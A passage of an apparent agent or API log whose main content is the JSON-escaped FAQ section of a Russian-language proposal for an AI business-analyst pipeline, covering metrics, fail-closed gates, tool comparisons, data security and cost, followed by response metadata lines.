\u0441\u043b\u0443\u0436\u0431\u044b.\\n- \u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 low-code \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u0445 \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n**\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435:** \u00ab\u041c\u044b \u043f\u0440\u043e\u0441\u0438\u043c \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0443 \u0434\u043b\u044f\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u043f\u0440\u0438\u0437\u043d\u0430\u0435\u043c \u0435\u0451\\n\u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e\u0439, \u0443\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u00bb.\\n\\n---\\n\\n## \u041e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u043c\u043e\u0449\u043d\u0435\u0435?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043c\u0435\u043d\u044f\u0435\u0442 \u0447\u0430\u0441\u0442\u043e\u0442\u0443 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u043e \u043d\u0435 \u0438\u0445 \u043a\u043b\u0430\u0441\u0441. \u0412\\n[A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md)\\n\u043d\u0430 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 65 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u0430\u043b\u0430 43.1% \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0434\u0440\u0443\u0433\u0430\u044f \u2014 0%. \u041d\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438: \u043d\u043e\u043c\u0435\u0440\u0430\\n\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435, \u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438, \u0430 \u043d\u0435\\n\u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e,\\n\u043a\u0430\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0448\u0430\u0433\u043e\u043c. \u0422\u043e\u0433\u0434\u0430 \u0441\u043c\u0435\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0432\u043e\u043f\u0440\u043e\u0441 \u0446\u0435\u043d\u044b \u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0430\\n\u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\\n\\nRAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\\n\u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\\n\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\n\\n### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\\n\\n\u041c\u044b [\u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md).\\nDify, Flowise, Temporal \u0438 Camunda \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u044f\u0434\u0440\u043e. n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c, \u0443\u0437\u0435\u043b AI Agent\\n\u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0443 n8n \u0431\u044b\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\\nCVE-2026-21858 \u0441 CVSS 10.0. LangGraph \u043f\u043e\u0434 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0435\u0439 MIT \u2014 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435\\n\u043f\u043e\u0437\u0434\u043d\u0438\u0439 \u044d\u0442\u0430\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u043d\u043e \u043d\u0435 \u0441\u0435\u0439\u0447\u0430\u0441: \u043d\u0430\u0448 \u0433\u0440\u0430\u0444 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432 \u043f\u0440\u043e\u0449\u0435\\n\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0435.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 fail-closed \u0442\u043e\u0440\u043c\u043e\u0437\u043e\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0430 \u043d\u0435 \u0430\u0432\u0430\u0440\u0438\u044f: \u0448\u0430\u0433 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0430\\n\u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0431\u044e\u0440\u043e\u043a\u0440\u0430\u0442\u0438\u044e, \u0432 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e: \u0435\u0441\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n\u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441\\n\u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u043e\u0439 `M-5`.\\n\\n### \u00ab\u041a\u0430\u043a \u0432\u044b \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e, \u0435\u0441\u043b\u0438 evals \u043d\u0435 \u0431\u044b\u043b\u043e?\u00bb\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0441\u043d\u044f\u0442\u0430 \u0434\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f: `M-1 = 0.0` \u0438 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u043e\u0440\u043e\u0433\\n\u0443\u0441\u043f\u0435\u0445\u0430 \u0441\u0440\u0435\u0437\u0430 \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 100% \u0438 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 `M-1` \u043f\u0440\u0438\\n\u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u043e\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n\\n### \u00ab\u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432?\u00bb\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u2014 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b: \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0440\u0430\u0437\u043d\u044b\u0435, \u0432\\n\u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u043e\u043a\u0435\u043d\u044b, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443, \u0430 \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b: \u0432\u0445\u043e\u0434\u044b,\\n\u0432\u044b\u0445\u043e\u0434\u044b, \u0434\u0438\u0430\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u0413\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u044d\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\\n\\n\u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\\n\u043f\u0440\u0438\u0451\u043c\u043a\u0443. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 `M-3` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0430\u0432\u043e\u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u0441\u043b\u0435\\n\u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430. \u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n### \u00ab\u0417\u0430\u0447\u0435\u043c \u0434\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, GigaCode CLI \u0438 Cline?\u00bb\\n\\n\u042d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u0432\u044b\u0431\u043e\u0440 \u0432\u043a\u0443\u0441\u0430. \u0412 GigaCode CLI \u043d\u0435\u0442 API Mango AI, \u0430\\nCline \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 Mango AI. Source \u043e\u0434\u0438\u043d, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u043f\u0430\u043a\u0435\u0442\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n\u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430\u043c\u0438. \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0443: \u044f\u0434\u0440\u043e \u043e\u0434\u043d\u043e, \u043a\u043b\u0438\u0435\u043d\u0442 \u2014\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430.\\n\\n### \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb\\n\\n\u0414\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445\\n\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u043b\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u0435; \u043e\u0434\u0438\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f\\n\u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0432 \u0434\u0432\u0443\u0445\\n\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u044d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\u0421\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438:\\n\u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u00ab\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u00bb, \u0430 \u043d\u0435 \u0435\u0451 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c.\\n\u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e \u0444\u0430\u0439\u043b\u0443 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\\n\u0433\u0435\u0439\u0442\u043e\u043c.\\n\\n### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\\n\\n\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\\nRFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\"\n[2026-09-29T07:53:48.040Z] [INFO]         },\n[2026-09-29T07:53:48.040Z] [INFO]         \"caller\": {\n[2026-09-29T07:53:48.040Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:53:48.040Z] [INFO]         }\n[2026-09-29T07:53:48.040Z] [INFO]       }\n[2026-09-29T07:53:48.040Z] [INFO]     ],\n[2026-09-29T07:53:48.040Z] [INFO]     \"container\": null,\n[2026-09-29T07:53:48.040Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:53:48.040Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:53:48.040Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:53:48.040Z] [INFO]     \"usage\": {\n[2026-09-29T07:53:48.040Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:53:48.040Z] [INFO]       \"cache_creation_input_tokens\": 